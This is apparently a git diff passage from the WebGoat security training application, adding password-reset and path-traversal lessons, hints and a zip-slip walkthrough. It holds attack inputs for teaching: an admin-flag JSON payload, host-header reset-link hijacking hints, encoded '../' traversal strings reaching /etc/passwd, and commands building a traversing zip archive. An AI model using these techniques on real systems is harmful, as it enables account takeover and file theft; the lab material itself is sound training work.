{"username":"newUser2","password":"newUser12","admin": "true"} +access-control.hash.hint12=Now log in as that user and bring up WebGoat/users. Copy your hash and log back in to your original account and input it there to get credit. diff --git a/src/main/resources/lessons/passwordreset/css/password.css b/src/main/resources/lessons/passwordreset/css/password.css new file mode 100644 index 000000000..e69de29bb diff --git a/src/main/resources/lessons/passwordreset/documentation/PasswordReset_SecurityQuestions.adoc b/src/main/resources/lessons/passwordreset/documentation/PasswordReset_SecurityQuestions.adoc new file mode 100644 index 000000000..4df7cb7cb --- /dev/null +++ b/src/main/resources/lessons/passwordreset/documentation/PasswordReset_SecurityQuestions.adoc @@ -0,0 +1,16 @@ +== The Problem with Security Questions + +While Security Questions may at first seem like a good way to do authentication, they +have some big problems. + +The "perfect" security question should be hard to crack, but easy to remember. Also the answer needs to fixed, +so it must not be subject to change. + +There are only a handful of questions which satisfy these criteria and practically none which apply to anybody. + +If you have to pick a security question, we recommend not answering them truthfully. + +To further elaborate on the matter, there is a small assignment for you: There is a list of some common security questions down below. +if you choose one, it will show to you why the question you picked is not really as good as one may think. + +When you have looked at two questions the assignment will be marked as complete. diff --git a/src/main/resources/lessons/passwordreset/documentation/PasswordReset_host_header.adoc b/src/main/resources/lessons/passwordreset/documentation/PasswordReset_host_header.adoc new file mode 100644 index 000000000..74eec08d3 --- /dev/null +++ b/src/main/resources/lessons/passwordreset/documentation/PasswordReset_host_header.adoc @@ -0,0 +1,20 @@ +== Creating the password reset link + +When creating a password reset link you need to make sure: + +- It is a unique link with a random token +- It can only be used once +- The link is only valid for a limited amount of time. + +Sending a link with a random token means an attacker cannot start a simple DOS attack to your website by starting to +block users. The link should not be usable more than once which makes it impossible to change the password again. +The time out is necessary to restrict the attack window, having a link opens up a lot of possibilities for the attacker. + +== Assignment + +Try to reset the password of Tom (tom@webgoat-cloud.org) to your own choice and login as Tom with +that password. Note: it is not possible to use OWASP ZAP for this lesson, also browsers might not work, command line +tools like `curl` and the like will be more successful for this attack. + +Tom always resets his password immediately after receiving the email with the link. + diff --git a/src/main/resources/lessons/passwordreset/documentation/PasswordReset_known_questions.adoc b/src/main/resources/lessons/passwordreset/documentation/PasswordReset_known_questions.adoc new file mode 100644 index 000000000..33c679312 --- /dev/null +++ b/src/main/resources/lessons/passwordreset/documentation/PasswordReset_known_questions.adoc @@ -0,0 +1,23 @@ +== Security questions + +This has been an issue and still is for a lot of websites, when you lost your password the website will ask you +for a security question which you answered during the sign up process. Most of the time this list contains a fixed +number of question and which sometimes even have a limited set of answers. In order to use this functionality +a user should be able to select a question by itself and type in the answer as well. This way users will not share +the question which makes it more difficult for an attacker. + +One important thing to remember the answers to these security question(s) should be treated with the same level of +security which is applied for storing a password in a database. If the database leaks an attacker should not be able +to perform password reset based on the answer of the security question. + +Users share so much information on social media these days it becomes difficult to use security questions for password +resets, a good resource for security questions is: http://goodsecurityquestions.com/ + +== Assignment + +Users can retrieve their password if they can answer the secret question properly. There is no lock-out mechanism on +this 'Forgot Password' page. Your username is 'webgoat' and your favorite color is 'red'. The goal is to retrieve the +password of another user. Users you could try are: "tom", "admin" and "larry". + + + diff --git a/src/main/resources/lessons/passwordreset/documentation/PasswordReset_mitigation.adoc b/src/main/resources/lessons/passwordreset/documentation/PasswordReset_mitigation.adoc new file mode 100644 index 000000000..9dc4fcbb2 --- /dev/null +++ b/src/main/resources/lessons/passwordreset/documentation/PasswordReset_mitigation.adoc @@ -0,0 +1,28 @@ +== How to prevent abusing the password reset function + +After learning how to abuse the password reset functionality you should now also know how to defend your own website against such attacks. If you want an extensive description of all mitigation methods take a look here: https://cheatsheetseries.owasp.org/cheatsheets/Forgot_Password_Cheat_Sheet.html + +This lesson will summarize the important points mentioned in the cheat sheet above. + +=== How to use security questions for user verification +Security questions are an easy way to find out information about the validity of the user without asking them for verification data. The problem is, that there are not that many types of security questions and the answers to most of the questions are the same among many users. This makes it easy for an attacker to just guess the question and the answer. + +An easy way to make it harder to guess the security question is to let the user themselves decide on the question they want to answer. Further information on this topic can be found here: https://cheatsheetseries.owasp.org/cheatsheets/Choosing_and_Using_Security_Questions_Cheat_Sheet.html#user-defined-security-questions + +=== Sending data over the network +Everything that gets sent via the network in any direction can be read by an attacker. Some data makes it easier for an attacker to compile crucial information on the user's account that helps them bypassing login and password reset restrictions. Therefor try to not send account information (like usernames, e-mails, ...) over the network during the password reset procedure that didn't get entered by the user themselves! + +For example: If you send a password reset link to a user via e-mail, do not include the username into the password reset form itself by any means! The user doesn't have to see their username on the form, because a non-malicious user already knows their name. Make it as hard as possible for an attacker to gather further information. + +=== About the password reset token +Password reset tokens allow a user to reset a password without inherently safe information about the verification of the user. Hence they should be safe. It should be hard to guess such a token. The token should also be only valid for a short amount of time and should be invalid after the user successfully reset their password. + +=== Logging user actions +Logging alone can't prevent any attacks but it can make it easier to determine that an attack happened and how the attacker tried to bypass security. You can also use logs to determine if an account really got hijacked and if it has to be returned the the rightful user. Actions you can log are: How did the security questions get answered? When did the access to the password reset link happen in comparison to the time the e-mail got sent? Were there failed attempts? + +=== Two factor authentication +It is always safer to do an authentication process via two or more separate ways on two or more separate devices. If a user wants to reset their password you can ask them to enter verification codes sent to them via SMS, Messenger, or similar. This makes it hard for an attacker to bypass the verification process, because they need physical access to another device. +On the other side it requires the user to give you additional information on the matter of contacting them, which is not welcomed bz everyone. + +=== Further reading +We highly recommend to take a further look on the cheat sheet linked in the introduction! The password reset functionality is easily abusable for an attacker when implemented incorrectly. You can make it harder for an attacker to abuse it by just following a few suggestions made here and in the cheat sheet! diff --git a/src/main/resources/lessons/passwordreset/documentation/PasswordReset_plan.adoc b/src/main/resources/lessons/passwordreset/documentation/PasswordReset_plan.adoc new file mode 100644 index 000000000..0545e5516 --- /dev/null +++ b/src/main/resources/lessons/passwordreset/documentation/PasswordReset_plan.adoc @@ -0,0 +1,22 @@ += Password reset + +== Concept + +This lesson teaches about password reset functionality which most of the time is an overlooked part of the application +leading to all kind of interesting logic flaws. + +== Goals + +Teach how to securely implement password reset functionality within your application. + +== Introduction + +Each and every one of us will have used the password reset functionality on websites before. Each website implements +this functionality in a different manner. On some sites you have to answer some question on other sites an e-mail +with an activation link will be sent to you. In this lesson we will go through some of the most common password +reset functionalities and show where it can go wrong. + +Still there are companies which will send the password in plaintext to a user in an e-mail. For a couple of examples +you can take a look at http://plaintextoffenders.com/. Here you will find websites which still send you the plaintext +password in an e-mail. Not only this should make you question the security of the site but this also means they store +your password in plaintext! diff --git a/src/main/resources/lessons/passwordreset/documentation/PasswordReset_simple.adoc b/src/main/resources/lessons/passwordreset/documentation/PasswordReset_simple.adoc new file mode 100644 index 000000000..81b2e1e47 --- /dev/null +++ b/src/main/resources/lessons/passwordreset/documentation/PasswordReset_simple.adoc @@ -0,0 +1,6 @@ +== Email functionality with WebWolf + +Let's first do a simple assignment to make sure you are able to read e-mails with WebWolf, first start WebWolf (see webWolfLink:here[]) +In the reset page below send an e-mail to `username@webgoat.org` (part behind the @ is not important) +Open WebWolf and read the e-mail and login with your username and the password provided in the e-mail. + diff --git a/src/main/resources/lessons/passwordreset/documentation/PasswordReset_wrong_message.adoc b/src/main/resources/lessons/passwordreset/documentation/PasswordReset_wrong_message.adoc new file mode 100644 index 000000000..772eeb677 --- /dev/null +++ b/src/main/resources/lessons/passwordreset/documentation/PasswordReset_wrong_message.adoc @@ -0,0 +1,21 @@ +:half-size: width='20%' + +== Find out if account exists + +As stated before during a password reset often you will find a different message depending on whether an e-mail +address exists or not. By itself this might not look like a big deal but it can give an attacker information which +can be used in a phishing attack. If the attacker knows you have a registered account at a site, the attacker can +for example create a phishing mail and send it to the user. The user might be more tempted to click the e-mail because +the user has a valid account at the website. On the other hand for some websites this is not really important but +some website users would like some more privacy. + +The screenshots below are taken from a real website: + +image:images/reset2.png[align="top", {half-size}] +image:images/reset1.png[align="top", {half-size}] + +Below you see how Slack implemented the same two pages, no matter what e-mail address you enter the message will +be exactly the same: + +image:images/slack1.png[{half-size}] +image:images/slack2.png[{half-size}] diff --git a/src/main/resources/lessons/passwordreset/html/PasswordReset.html b/src/main/resources/lessons/passwordreset/html/PasswordReset.html new file mode 100644 index 000000000..2acb24098 --- /dev/null +++ b/src/main/resources/lessons/passwordreset/html/PasswordReset.html @@ -0,0 +1,265 @@ + + + + +
    +
    +
    +
    +
    + + + + +
    + +
    + +
    + +
    +
    + + +
    + +
    +
    +
    +

    + Account + Access

    +
    +
    + @ + +
    +
    + + +
    +
    + +

    + + Forgot your password? + +

    +
    +
    + +
    +
    +
    +
    +
    +
    + +
    +
    +
    +
    +
    + +
    +
    +
    + +
    +
    + + + + +
    +
    +
    +
    +
    +
    + Sign up + Login +

    WebGoat Password Recovery

    + +
    + + +
    +
    + + +
    +
    + +
    + +
    +
    +
    + + +
    + +
    +
    +
    +
    +
    + +
    +
    +
    +
    +
    + + +
    +
    +
    +
    +
    + +
    +
    +
    + +
    + +
    +
    +
    +
    +

    + + Account Access +

    +
    + +
    +
    + @ + +
    +
    + + + + + +
    +
    + +

    + + Forgot your password? + +

    +
    +
    + +
    + +
    +
    +
    + + +
    +
    +
    +
    +
    + +
    +
    +
    + diff --git a/src/main/resources/lessons/passwordreset/i18n/WebGoatLabels.properties b/src/main/resources/lessons/passwordreset/i18n/WebGoatLabels.properties new file mode 100644 index 000000000..2b88df6a4 --- /dev/null +++ b/src/main/resources/lessons/passwordreset/i18n/WebGoatLabels.properties @@ -0,0 +1,25 @@ +password-reset.title=Password reset + +password-reset-simple.email_send=An email has been send to {0} please check your inbox. +password-reset-simple.password_incorrect=Not the correct password please try again. +password-reset-simple.email_failed=There was an error while sending the e-mail. Is WebWolf running? +password-reset-simple.email_mismatch=Of course you can send mail to user {0} however you will not be able to read this e-mail in WebWolf, please use your own username. + +password-questions-wrong-user=You need to find a different user you are logging in with 'webgoat'. +password-questions-unknown-user=User {0} is not a valid user. +password-questions-one-successful=You answered one question successfully please try another one. + +email.send=An e-mail has been send to {0} + +password-reset-no-user=Please supply a valid e-mail address. +password-reset-solved=Congratulations you solved the assignment, please type in the following code in the e-mail field: {0} +password-reset-not-solved=Sorry but you did not redirect the reset link to WebWolf + +password-reset-hint1=Try to send a password reset link to your own account at {user}@webgoat.org, you can read this e-mail in WebWolf. +password-reset-hint2=Look at the link, can you think how the server creates this link? +password-reset-hint3=Tom clicks all the links he receives in his mailbox, you can use the landing page in WebWolf to get the reset link... +password-reset-hint4=The link points to localhost:8080/PasswordReset/.... can you change the host to localhost:9090? +password-reset-hint5=Intercept the request and change the host header. +password-reset-hint6=For intercepting the request you have to use a proxy. Check the HTTP-Proxies Lesson in the general category if you're unfamiliar with using proxies.
    Important: There seem to be problems when modifying the request header with ZAP. We recommend to use Burp instead. +login_failed=Login failed +login_failed.tom=Sorry only Tom can login at the moment \ No newline at end of file diff --git a/src/main/resources/lessons/passwordreset/images/reset1.png b/src/main/resources/lessons/passwordreset/images/reset1.png new file mode 100644 index 000000000..36793a8b5 Binary files /dev/null and b/src/main/resources/lessons/passwordreset/images/reset1.png differ diff --git a/src/main/resources/lessons/passwordreset/images/reset2.png b/src/main/resources/lessons/passwordreset/images/reset2.png new file mode 100644 index 000000000..3c94b01b5 Binary files /dev/null and b/src/main/resources/lessons/passwordreset/images/reset2.png differ diff --git a/src/main/resources/lessons/passwordreset/images/slack1.png b/src/main/resources/lessons/passwordreset/images/slack1.png new file mode 100644 index 000000000..34114af25 Binary files /dev/null and b/src/main/resources/lessons/passwordreset/images/slack1.png differ diff --git a/src/main/resources/lessons/passwordreset/images/slack2.png b/src/main/resources/lessons/passwordreset/images/slack2.png new file mode 100644 index 000000000..1102b4211 Binary files /dev/null and b/src/main/resources/lessons/passwordreset/images/slack2.png differ diff --git a/src/main/resources/lessons/passwordreset/js/password-reset-simple.js b/src/main/resources/lessons/passwordreset/js/password-reset-simple.js new file mode 100644 index 000000000..65f1d20a0 --- /dev/null +++ b/src/main/resources/lessons/passwordreset/js/password-reset-simple.js @@ -0,0 +1,13 @@ +function showPasswordReset() { + $('#password-reset').show(); + $('#password-login').hide(); + $('#password-reset-2').show(); + $('#password-login-2').hide(); +} + +function showPassword() { + $('#password-login').show(); + $('#password-reset').hide(); + $('#password-login-2').show(); + $('#password-reset-2').hide(); +} \ No newline at end of file diff --git a/src/main/resources/lessons/passwordreset/templates/password_link_not_found.html b/src/main/resources/lessons/passwordreset/templates/password_link_not_found.html new file mode 100644 index 000000000..bb9d8cc2b --- /dev/null +++ b/src/main/resources/lessons/passwordreset/templates/password_link_not_found.html @@ -0,0 +1,19 @@ + + + + + + + + + +
    +
    +
    +

    Password reset link is not valid please try again.

    +
    +
    +
    + + + \ No newline at end of file diff --git a/src/main/resources/lessons/passwordreset/templates/password_reset.html b/src/main/resources/lessons/passwordreset/templates/password_reset.html new file mode 100644 index 000000000..a5c3647b7 --- /dev/null +++ b/src/main/resources/lessons/passwordreset/templates/password_reset.html @@ -0,0 +1,32 @@ + + + + + + + + +
    +
    +
    +
    + +
    + + + + Password error +
    +
    +
    + +
    +
    +
    +
    +
    +
    + + + diff --git a/src/main/resources/lessons/passwordreset/templates/success.html b/src/main/resources/lessons/passwordreset/templates/success.html new file mode 100644 index 000000000..7f0c2d6a6 --- /dev/null +++ b/src/main/resources/lessons/passwordreset/templates/success.html @@ -0,0 +1,19 @@ + + + + + + + + + +
    +
    +
    +

    Password changed successfully, please login again with your new password

    +
    +
    +
    + + + \ No newline at end of file diff --git a/src/main/resources/lessons/pathtraversal/css/path_traversal.css b/src/main/resources/lessons/pathtraversal/css/path_traversal.css new file mode 100644 index 000000000..e313c796f --- /dev/null +++ b/src/main/resources/lessons/pathtraversal/css/path_traversal.css @@ -0,0 +1,57 @@ +.upload-container +{ + width: 500px; + margin: 20px auto; +} + +.preview +{ + padding: 10px; + position: relative; +} + +.preview i +{ + color: white; + font-size: 35px; + transform: translate(50px,130px); +} + +.preview-img +{ + border-radius: 100%; + box-shadow: 0px 0px 5px 2px rgba(0,0,0,0.7); +} + +.browse-button +{ + width: 200px; + height: 200px; + border-radius: 100%; + position: absolute; /* Tweak the position property if the element seems to be unfit */ + top: 10px; + left: 150px; + background: linear-gradient(180deg, transparent, black); + opacity: 0; + transition: 0.3s ease; +} + +.browse-button:hover +{ + opacity: 1; +} + +.browse-input +{ + width: 200px; + height: 200px; + border-radius: 100%; + transform: translate(-1px,-26px); + opacity: 0; +} + +.Error +{ + color: crimson; + font-size: 13px; +} diff --git a/src/main/resources/lessons/pathtraversal/documentation/PathTraversal_intro.adoc b/src/main/resources/lessons/pathtraversal/documentation/PathTraversal_intro.adoc new file mode 100644 index 000000000..81adbe035 --- /dev/null +++ b/src/main/resources/lessons/pathtraversal/documentation/PathTraversal_intro.adoc @@ -0,0 +1,23 @@ +=== Path traversal + +A path(directory) traversal is a vulnerability where an attacker can access or store files and directories outside +the application's location. It may lead to reading files from other directories and overwriting critical system files in case of a file +upload. + +=== How does it work? + +For example, let's assume we have an application that hosts some files, in the following +format: `http://example.com/file=report.pdf` now as an attacker, you are interested in other files, of course, so +you try `http://example.com/file=../../../../../etc/passwd.` In this case, you try walking up to the root of the filesystem +and then go into `/etc/passwd` to gain access to this file. The `../` is called dot-dot-slash, another name +for this attack. + +Of course, this is a straightforward example, and in most cases, this will not work as frameworks implemented controls. So we need to get a little more creative and start encoding `../` before the request is sent to the server. +For example, if we URL encode `../`, you will get `%2e%2e%2f`, and the webserver receiving this request will decode +it again to `../`. + +Also, note that avoiding applications filtering those encodings double encoding might work as well. Double encoding +might be necessary when you have a system A which calls system B. System A will only decode once and +call B with the still encoded URL. + + diff --git a/src/main/resources/lessons/pathtraversal/documentation/PathTraversal_retrieval.adoc b/src/main/resources/lessons/pathtraversal/documentation/PathTraversal_retrieval.adoc new file mode 100644 index 000000000..2f5575019 --- /dev/null +++ b/src/main/resources/lessons/pathtraversal/documentation/PathTraversal_retrieval.adoc @@ -0,0 +1,6 @@ +=== Retrieving other files with a path traversal + +Path traversals are not limited to file uploads; when retrieving files, it can be the case that a path traversal +is possible to retrieve other files from the system. In this assignment, try to find a file called `path-traversal-secret.jpg` + + diff --git a/src/main/resources/lessons/pathtraversal/documentation/PathTraversal_upload.adoc b/src/main/resources/lessons/pathtraversal/documentation/PathTraversal_upload.adoc new file mode 100644 index 000000000..21ccc0a00 --- /dev/null +++ b/src/main/resources/lessons/pathtraversal/documentation/PathTraversal_upload.adoc @@ -0,0 +1,12 @@ +=== Path traversal while uploading files + +In this assignment, the goal is to overwrite a specific file on the file system. Of course, WebGoat cares about the users +so you need to upload your file to the following location outside the usual upload location. + +|=== +|OS |Location + +|`operatingSystem:os[]` +|`webGoatTempDir:temppath[]PathTraversal` + +|=== diff --git a/src/main/resources/lessons/pathtraversal/documentation/PathTraversal_upload_fix.adoc b/src/main/resources/lessons/pathtraversal/documentation/PathTraversal_upload_fix.adoc new file mode 100644 index 000000000..a0ba72fc6 --- /dev/null +++ b/src/main/resources/lessons/pathtraversal/documentation/PathTraversal_upload_fix.adoc @@ -0,0 +1,11 @@ +=== Path traversal while uploading files + +The developer became aware of the vulnerability and implemented a fix that removed the `../` from the input. +Again the same assignment, but can you bypass the implemented fix? + +|=== +|OS |Location + +|`operatingSystem:os[]` +|`webGoatTempDir:temppath[]PathTraversal` +|=== diff --git a/src/main/resources/lessons/pathtraversal/documentation/PathTraversal_upload_fixed.adoc b/src/main/resources/lessons/pathtraversal/documentation/PathTraversal_upload_fixed.adoc new file mode 100644 index 000000000..ea8ff9aaf --- /dev/null +++ b/src/main/resources/lessons/pathtraversal/documentation/PathTraversal_upload_fixed.adoc @@ -0,0 +1,12 @@ +=== Path traversal while retrieving files + +Finally, the upload is no longer vulnerable at least help us to verify :-) +In this assignment, you need to get the contents of the following file: + +|=== +|OS |Location + +|`operatingSystem:os[]` +|`webGoatTempDir:temppath[]PathTraversal/secret.txt` + +|=== diff --git a/src/main/resources/lessons/pathtraversal/documentation/PathTraversal_upload_mitigation.adoc b/src/main/resources/lessons/pathtraversal/documentation/PathTraversal_upload_mitigation.adoc new file mode 100644 index 000000000..7938594d8 --- /dev/null +++ b/src/main/resources/lessons/pathtraversal/documentation/PathTraversal_upload_mitigation.adoc @@ -0,0 +1,70 @@ +=== Path traversal mitigation + +As we saw in the previous assignments, protecting a file upload can be daunting. The thing comes down to trust +input without validating it. +In the examples shown before, a solution might be not to trust user input and create a random file name on the +server-side. + +If you need to save it based on user input, the best way to keep you safe is to check the canonical path. For example, in Java: + +[source] +---- +var multiPartFile = ... +var targetFile = new File("/tmp", multiPartFile.getOriginalName()); +var canonicalPath = targetFile.getCanonicalPath(); + +if (!canonicalPath.startWith("/tmp") { + throw new IllegalArgumentException("Invalid filename"); +} + +IOUtils.copy(multiPartFile.getBytes(), targetFile); +---- + +The canonical path function will resolve to an absolute path, removing `.` and `..` etc. By checking whether the canonical +the path is inside the expected directory. + + +For path traversals, while retrieving, one can apply the same technique described above, but as a defense in depth you +can also implement mitigation by running the application under a specific not privileged user who is not allowed to read and write +in any other directory. + +Make sure that you build detection for catching these cases in any case, but be careful with returning explicit information +to the user. Every tiny detail might give the attacker knowledge about your system. + +==== Be aware... + +As shown in the previous examples, be careful which method you use to retrieve parameters, especially query parameters. +Spring Boot does a decent job denying invalid path variables. To recap: + +[source] +---- +@Getter("/f") +public void f(@RequestParam("name") String name) { + //name is automatically decoded so %2E%2E%2F%2E%2E%2Ftest will become ../../test +} + +@Getter("/g") +public void g(HttpServletRequest request) { + var queryString = request.getQueryString(); // will return +} + +@Getter("/h") +public void h(HttpServletRequest request) { + var name = request.getParam("name"); //will return ../../test +---- + +If you invoke `/f` with `/f?name=%2E%2E%2F%2E%2E%2Ftest` it will become `../../test`. If you invoke `g` with +`/g?name=%2E%2E%2F%2E%2E%2Ftest` it will return `%2E%2E%2F%2E%2E%2Ftest` *NO* decoding will be applied. +The behavior of `/h` with the same parameter will be the same as `/f` + +As you can see, be careful and familiarize yourself with the correct methods to call. In every case, write a +unit test in such cases, which covers encoded characters. + +==== Spring Boot protection + +By default, Spring Boot has protection for using, for example, `../` in a path. The projection resides in the `StrictHttpFirewall` class. This will protect endpoint where the user input is part of the `path` like `/test/1.jpg` +if you replace `1.jpg` with `../../secret.txt`, it will block the request. With query parameters, that protection +will not be there. + +In the lesson about "File uploads" more examples of vulnerabilities are shown. + diff --git a/src/main/resources/lessons/pathtraversal/documentation/PathTraversal_upload_remove_user_input.adoc b/src/main/resources/lessons/pathtraversal/documentation/PathTraversal_upload_remove_user_input.adoc new file mode 100644 index 000000000..153e5add8 --- /dev/null +++ b/src/main/resources/lessons/pathtraversal/documentation/PathTraversal_upload_remove_user_input.adoc @@ -0,0 +1,14 @@ +=== Path traversal while uploading files + +The developer again became aware of the vulnerability by not validating the input of the `full name` input field. +A fix was applied in an attempt to solve this vulnerability. + +Again the same assignment, but can you bypass the implemented fix? + +|=== +|OS |Location + +|`operatingSystem:os[]` +|`webGoatTempDir:temppath[]PathTraversal` + +|=== diff --git a/src/main/resources/lessons/pathtraversal/documentation/PathTraversal_zip_slip.adoc b/src/main/resources/lessons/pathtraversal/documentation/PathTraversal_zip_slip.adoc new file mode 100644 index 000000000..c16fb081f --- /dev/null +++ b/src/main/resources/lessons/pathtraversal/documentation/PathTraversal_zip_slip.adoc @@ -0,0 +1,31 @@ +=== Zip Slip vulnerability + +As a developer, you have many occasions where you have to deal with zip files. For example, think about the upload facility or processing a bunch of CSV files that are uploaded as a zip file. A neat vulnerability was discovered and responsibly disclosed by the Snyk Security team. It uses path traversal, which can be used while extracting files. With the path traversal, you try to overwrite files outside the intended target folder. For example, you might be able to overwrite the `ls` command while extracting a zip file. Once this command has been replaced with some extra malicious actions each time the user types in `ls`, you can send the outcome of the listing towards your server before showing the actual command to the user. So you end up with remote command execution. + +==== Problem + +The problem occurs with how we extract zip files in Java; a common way to do this is: + +[source] +---- +File destinationDir = new File("/tmp/zip"); +Enumeration entries = zip.entries(); +while (entries.hasMoreElements()) { + ZipEntry e = entries.nextElement(); + File f = new File(destinationDir, e.getName()); + InputStream is = zip.getInputStream(e); + IOUtils.copy(is, write(f)); +} +---- + +At first glance, this looks ok, and you wrote something along the same lines. As we have seen in the previous assignments, the problem is that you can use a path traversal to break out of the `destinationDir` and start walking towards different locations. + +But what if we receive a zip file with the following contents: + +[source] +---- +orders.csv +../../../../../../../tmp/evil.sh +---- + +if you extract the zip file with the code above the file will be saved in `/tmp/evil.sh`. diff --git a/src/main/resources/lessons/pathtraversal/documentation/PathTraversal_zip_slip_assignment.adoc b/src/main/resources/lessons/pathtraversal/documentation/PathTraversal_zip_slip_assignment.adoc new file mode 100644 index 000000000..2e3b70053 --- /dev/null +++ b/src/main/resources/lessons/pathtraversal/documentation/PathTraversal_zip_slip_assignment.adoc @@ -0,0 +1,15 @@ +=== Zip Slip assignment + +This time the developers only allow you to upload zip files. However, they made a programming mistake in uploading the zip file will extract it, but it will not replace your image. Can you find a way to overwrite your current image bypassing the programming mistake? + +To make the assignment a bit easier below you will find the location of the profile image you need to replace: + +|=== +|OS |Location + +|`operatingSystem:os[]` +|`webGoatTempDir:temppath[]PathTraversal/username:user[]/username:user[].jpg` + +|=== + + diff --git a/src/main/resources/lessons/pathtraversal/documentation/PathTraversal_zip_slip_solution.adoc b/src/main/resources/lessons/pathtraversal/documentation/PathTraversal_zip_slip_solution.adoc new file mode 100644 index 000000000..a324008f4 --- /dev/null +++ b/src/main/resources/lessons/pathtraversal/documentation/PathTraversal_zip_slip_solution.adoc @@ -0,0 +1,48 @@ +=== Solution + +First, let's create a zip file with an image inside: + +[source, subs="macros"] +---- +curl -o webwolf.jpg webWolfRootLink:images/wolf.png[noLink, target=images/wolf.png] +zip profile.zip webwolf.jpg +---- + +Now let's upload this as our profile image. We can see nothing happens as mentioned in the assignment there is a bug in the software, and the result we see on the screen is: + +[source] +---- +Zip file extracted successfully failed to copy the image. Please get in touch with our helpdesk. +---- + +Let's create a zip file that traverses to the top and then back into the given directory in the assignment. + +First, create the directory structure: + +[source, subs="macros"] +---- +mkdir -p webGoatTempDir:temppath[]PathTraversal/username:user[] +cd webGoatTempDir:temppath[]PathTraversal/username:user[] +curl -o username:user[].jpg webWolfRootLink:images/wolf.png[noLink, target=images/wolf.png] +zip profile.zip ../../../../../../../..webGoatTempDir:temppath[]PathTraversal/username:user[]/username:user[].jpg +---- + +Now, if we upload this zip file, it solves the assignment. + +=== Why did this work? + +In the code, the developers used the following fragment: + +[source%linenums] +---- +ZipFile zip = new ZipFile(uploadedZipFile); +Enumeration entries = zip.entries(); +while (entries.hasMoreElements()) { + ZipEntry e = entries.nextElement(); + File profilePicture = new File(uploadDirectory, e.getName()); + InputStream is = zip.getInputStream(e); + Files.copy(is, f.toPath(), StandardCopyOption.REPLACE_EXISTING); +} +---- + +The fix is to make sure the resulting file in line 5 resides in the directory you expect. Same as with the path traversal mitigation, use `profilePicture.getCanonicalPath()` to ensure the path is the same as you expect it to be. diff --git a/src/main/resources/lessons/pathtraversal/html/PathTraversal.html b/src/main/resources/lessons/pathtraversal/html/PathTraversal.html new file mode 100644 index 000000000..5f716f71a --- /dev/null +++ b/src/main/resources/lessons/pathtraversal/html/PathTraversal.html @@ -0,0 +1,278 @@ + + + + + + +
    +
    +
    + +
    +
    +
    +
    +
    +
    +
    + Preview Image +
    + + +
    + +
    +
    + + + +
    +
    + + + +
    +
    + + + +
    +
    + +
    +
    +
    + +
    +
    +
    +
    +
    + +
    +
    +
    +
    +
    +
    +
    + Preview Image +
    + + +
    + +
    +
    + + + +
    +
    + + + +
    +
    + + + +
    +
    + +
    +
    +
    + +
    +
    +
    +
    +
    + + +
    +
    +
    +
    +
    +
    +
    + Preview Image +
    + + +
    + +
    +
    + + + +
    +
    + + + +
    +
    + + + +
    +
    + +
    +
    +
    + +
    +
    +
    +
    +
    + +
    +
    +
    + +
    +
    + +
    +
    +
    + +
    + + +
    +
    +
    +
    +
    +
    + +
    +
    + +
    +
    + +
    + +
    +
    +
    +
    + +
    + +
    +
    +
    + +
    +
    +
    +
    +
    +
    +
    + Preview Image +
    + + +
    + +
    +
    + + + +
    +
    + + + +
    +
    + + + +
    +
    + +
    +
    +
    + +
    +
    +
    +
    +
    + +
    +
    +
    +
    +
    + + diff --git a/src/main/resources/lessons/pathtraversal/i18n/WebGoatLabels.properties b/src/main/resources/lessons/pathtraversal/i18n/WebGoatLabels.properties new file mode 100644 index 000000000..a546f1dcb --- /dev/null +++ b/src/main/resources/lessons/pathtraversal/i18n/WebGoatLabels.properties @@ -0,0 +1,58 @@ +# +# This file is part of WebGoat, an Open Web Application Security Project utility. For details, +# please see http://www.owasp.org/ +#

    +# Copyright (c) 2002 - 2017 Bruce Mayhew +#

    +# This program is free software; you can redistribute it and/or modify it under the terms of the +# GNU General Public License as published by the Free Software Foundation; either version 2 of the +# License, or (at your option) any later version. +#

    +# This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without +# even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +#

    +# You should have received a copy of the GNU General Public License along with this program; if +# not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA +# 02111-1307, USA. +#

    +# Getting Source ============== +#

    +# Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software +# projects. +#

    +# +path-traversal-title=Path traversal +path-traversal-profile-updated=Profile has been updated, your image is available at: {0}" +path-traversal-profile-empty-file=File appears to be empty please upload a non empty file +path-traversal-profile-attempt=Nice try, but the directory({0}) is incorrect, please write the file to the correct directory +path-traversal-profile-empty-name=Name is empty +path-traversal-profile.hint1=Try updating the profile WebGoat will display the location +path-traversal-profile.hint2=Look at the displayed location how is the file name on the server constructed? +path-traversal-profile.hint3=Does the server validate any input given in the full name field? + +path-traversal-profile-fix.hint1=Take a look what happens compared to the previous assignment +path-traversal-profile-fix.hint2=The new and improved version removes `../` from the input, can you bypass this? +path-traversal-profile-fix.hint3=Try to construct a full name which after cleaning still has `../` in the full name + +path-traversal-profile-remove-user-input.hint1=Take a look what happened to the file name +path-traversal-profile-remove-user-input.hint2=Can we still manipulate the request? +path-traversal-profile-remove-user-input.hint3=You can try to use a proxy to intercept the POST request + + +path-traversal-profile-retrieve.hint1=Can you specify the image to be fetched? +path-traversal-profile-retrieve.hint2=Look at the location header... +path-traversal-profile-retrieve.hint3=Use /random?id=1 for example to fetch a specific image +path-traversal-profile-retrieve.hint4=Use /random/?id=../../1.jpg to navigate to a different directory +path-traversal-profile-retrieve.hint5='..' and '/' are no longer allowed, can you bypass this restriction +path-traversal-profile-retrieve.hint6=Use url encoding for ../ to bypass the restriction + +path-traversal-zip-slip.hint1=Try uploading a picture in a zip file +path-traversal-zip-slip.hint2=Upload a zip file which traverses to the right directory +path-traversal-zip-slip.hint3=Did you create a zip file with the right image name? +path-traversal-zip-slip.hint4=Check the http request to find out which image name should be used + + +path-traversal-zip-slip.no-zip=Please upload a zip file +path-traversal-zip-slip.extracted=Zip file extracted successfully failed to copy the image. Please get in touch with our helpdesk. + diff --git a/src/main/resources/lessons/pathtraversal/images/account.png b/src/main/resources/lessons/pathtraversal/images/account.png new file mode 100644 index 000000000..830890d16 Binary files /dev/null and b/src/main/resources/lessons/pathtraversal/images/account.png differ diff --git a/src/main/resources/lessons/pathtraversal/images/cats/1.jpg b/src/main/resources/lessons/pathtraversal/images/cats/1.jpg new file mode 100644 index 000000000..144b49268 Binary files /dev/null and b/src/main/resources/lessons/pathtraversal/images/cats/1.jpg differ diff --git a/src/main/resources/lessons/pathtraversal/images/cats/10.jpg b/src/main/resources/lessons/pathtraversal/images/cats/10.jpg new file mode 100644 index 000000000..8f6befcc6 Binary files /dev/null and 